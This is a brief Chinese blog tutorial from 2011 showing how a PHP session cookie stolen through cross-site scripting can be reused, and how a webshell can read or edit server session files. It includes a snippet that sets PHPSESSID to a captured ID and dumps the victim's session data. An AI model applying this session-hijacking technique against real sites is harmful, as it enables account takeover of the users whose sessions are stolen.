关于跨站技术的高级简单利用

Yatere

于 2011-11-11 15:51:08 发布

阅读量686

点赞数

分类专栏： php 脚本学习文章标签： session 测试 user php c

本文链接：https://blog.youkuaiyun.com/yatere/article/details/6960126

版权

php 脚本学习专栏收录该内容

17 篇文章

订阅专栏

本文详细介绍了黑客如何通过跨站攻击获取用户session cookie，并利用此cookie进行恶意操作，包括直接修改session文件和伪造session以获取用户凭据。文章提供了具体的PHP代码示例，展示了session工作原理及攻击过程。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

这里只丢2个代码，用于思路性测试，测试结果也欧克

set.php用于模拟正常设置session(一般就是目标用户正常登陆系统后)

<?php
session_start();
$_SESSION['user']='admin';
$_SESSION['pass']='xtj';
?>

作为黑客，通过跨站拿到以上用户的cookie以后且拿到了webshell可以采取以下措施。

1.一般php的session都写入了临时文件夹(php.ini中有定义以及常量)，webshell一般都有读权限，可以直接查看该文件并修改实现修改session变量。

文件名为：sess_eb0ae244711af9259ec247182c828da3，内容为：user|s:5:"admin";pass|s:3:"xtj";,也可以伪造。

<?
//补充ing
?>

2.用户黑客直接伪造session获得对应用户的session凭据：

<?php
session_start();
setcookie('PHPSESSID','eb0ae244711af9259ec247182c828da3');//这里需要先通过跨站代码得到session内容。
foreach($_SESSION as $k=>$v)
{
	echo "$k is $v<br>";
}
?>